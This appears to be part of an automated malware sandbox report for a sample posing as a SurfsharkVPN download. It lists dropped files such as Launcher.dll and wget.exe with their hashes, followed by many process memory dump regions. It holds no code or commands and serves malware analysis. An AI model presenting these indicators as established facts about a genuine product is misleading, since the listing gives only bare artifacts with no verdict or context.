44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\data\Launcher.dll

Filesize
6KB

MD5
6e7b8b4200d14198c2a6c2c7617a78db

SHA1
b4d87db35a6cb1630a78e50939317f7c68a5303d

SHA256
91436d2eb99775eef9b6e543c089794f851d750924d3aaede3627623fd0a7f2e

SHA512
72aaa8307509aa26782e3954511f0d6306c9cffce312566b91036f173cd763f2d621f907cc3646cb0c0881ef066b7ec10d784eeb4c47c732812bb3eb3ddeb99d

Download Submit
C:\Users\Admin\Downloads\SurfsharkVPN-10_11\data\AppInfo\services\wget.exe

Filesize
4.9MB

MD5
8c04808e4ba12cb793cf661fbbf6c2a0

SHA1
bdfdb50c5f251628c332042f85e8dd8cf5f650e3

SHA256
a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272

SHA512
9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f

Download Submit
\??\pipe\LOCAL\crashpad_3208_YGIDHHELHFTSPGUW

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/744-1357-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/1396-2516-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/4420-2414-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/4700-2489-0x0000023BEC5A0000-0x0000023BEC5A6000-memory.dmp

Filesize
24KB

Download
memory/4700-2485-0x0000023BEC330000-0x0000023BEC34C000-memory.dmp

Filesize
112KB

Download
memory/4700-2488-0x0000023BEC5C0000-0x0000023BEC5DA000-memory.dmp

Filesize
104KB

Download
memory/4700-2487-0x0000023BEC410000-0x0000023BEC41A000-memory.dmp

Filesize
40KB

Download
memory/4700-2486-0x0000023BEC350000-0x0000023BEC405000-memory.dmp

Filesize
724KB

Download
memory/5324-2539-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/5580-1263-0x0000000007B00000-0x0000000007B0A000-memory.dmp

Filesize
40KB

Download
memory/5580-1265-0x0000000007CC0000-0x0000000007CCE000-memory.dmp

Filesize
56KB

Download
memory/5580-1266-0x0000000007CD0000-0x0000000007CE4000-memory.dmp

Filesize
80KB

Download
memory/5580-1267-0x0000000007D10000-0x0000000007D2A000-memory.dmp

Filesize
104KB

Download
memory/5580-1268-0x0000000007D00000-0x0000000007D08000-memory.dmp

Filesize
32KB

Download
memory/5580-1249-0x00000000078D0000-0x0000000007902000-memory.dmp

Filesize
200KB

Download
memory/5580-1264-0x0000000007C90000-0x0000000007CA1000-memory.dmp

Filesize
68KB

Download
memory/5580-1250-0x000000006F8F0000-0x000000006F93C000-memory.dmp

Filesize
304KB

Download
memory/5580-1262-0x00000000080D0000-0x000000000874A000-memory.dmp

Filesize
6.5MB

Download
memory/5580-1261-0x0000000007920000-0x00000000079C3000-memory.dmp

Filesize
652KB

Download
memory/5580-1260-0x0000000006D00000-0x0000000006D1E000-memory.dmp

Filesize
120KB

Download
memory/5952-1219-0x0000000005510000-0x0000000005576000-memory.dmp

Filesize
408KB

Download
memory/5952-1235-0x0000000007170000-0x0000000007714000-memory.dmp

Filesize
5.6MB

Download
memory/5952-1215-0x0000000000D70000-0x0000000000DA6000-memory.dmp

Filesize
216KB

Download
memory/5952-1216-0x0000000004D90000-0x00000000053B8000-memory.dmp

Filesize
6.2MB

Download
memory/5952-1217-0x0000000004B60000-0x0000000004B82000-memory.dmp

Filesize
136KB

Download
memory/5952-1218-0x0000000005430000-0x0000000005496000-memory.dmp

Filesize
408KB

Download
memory/5952-1229-0x0000000005580000-0x00000000058D4000-memory.dmp

Filesize
3.3MB

Download
memory/5952-1230-0x0000000005B10000-0x0000000005B2E000-memory.dmp

Filesize
120KB

Download
memory/5952-1231-0x0000000005B40000-0x0000000005B8C000-memory.dmp

Filesize
304KB

Download
memory/5952-1232-0x0000000006B10000-0x0000000006BA6000-memory.dmp

Filesize
600KB

Download
memory/5952-1234-0x0000000006060000-0x0000000006082000-memory.dmp

Filesize
136KB

Download
memory/5952-1233-0x0000000006010000-0x000000000602A000-memory.dmp

Filesize
104KB

Download
memory/6216-2465-0x0000000140000000-0x0000000140E3D000-memory.dmp

Filesize
14.2MB

Download
memory/6232-1277-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/6256-2452-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/6532-2500-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2510-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2519-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2518-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2507-0x00000245ADD40000-0x00000245ADD60000-memory.dmp

Filesize
128KB

Download
memory/6532-2502-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2503-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2505-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2504-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2506-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2508-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2509-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2511-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2512-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6532-2501-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/6648-1311-0x0000000003330000-0x0000000003730000-memory.dmp

Filesize
4.0MB

Download
memory/6648-1321-0x0000000000400000-0x000000000047E000-memory.dmp

Filesize
504KB

Download
memory/6648-1310-0x0000000003330000-0x0000000003730000-memory.dmp

Filesize
4.0MB

Download
memory/6648-1312-0x00007FFEE1B10000-0x00007FFEE1D05000-memory.dmp

Filesize
2.0MB

Download
memory/6648-1314-0x0000000076280000-0x0000000076495000-memory.dmp

Filesize
2.1MB

Download
memory/6700-2437-0x0000019E5A7B0000-0x0000019E5A7D2000-memory.dmp

Filesize
136KB

Download
memory/6700-2453-0x0000019E5ACD0000-0x0000019E5ACDA000-memory.dmp

Filesize
40KB

Download
memory/6700-2451-0x0000019E5AB70000-0x0000019E5AB8C000-memory.dmp

Filesize
112KB

Download
memory/6700-2455-0x0000019E5ACF0000-0x0000019E5ACFA000-memory.dmp

Filesize
40KB

Download
memory/6700-2454-0x0000019E5ACE0000-0x0000019E5ACE8000-memory.dmp

Filesize
32KB

Download
memory/6704-1324-0x0000000000400000-0x00000000008F2000-memory.dmp

Filesize
4.9MB

Download
memory/6760-1320-0x0000000076280000-0x0000000076495000-memory.dmp

Filesize
2.1MB

Download
memory/6760-1317-0x0000000002440000-0x0000000002840000-memory.dmp

Filesize
4.0MB

Download
memory/6760-1318-0x00007FFEE1B10000-0x00007FFEE1D05000-memory.dmp

Filesize
2.0MB

Download
memory/6760-1315-0x00000000008E0000-0x00000000008E9000-memory.dmp

Filesize
36KB

Download
memory/6784-2495-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6784-2494-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6784-2493-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6784-2496-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6784-2499-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/6784-2492-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/7108-2547-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/7136-1352-0x00007FFEE1D20000-0x00007FFEE1D22000-memory.dmp

Filesize
8KB

Download
memory/7136-1353-0x0000000140000000-0x0000000140E3D000-memory.dmp

Filesize
14.2MB

Download
memory/7136-1351-0x00007FFEE1D10000-0x00007FFEE1D12000-memory.dmp

Filesize
8KB

Download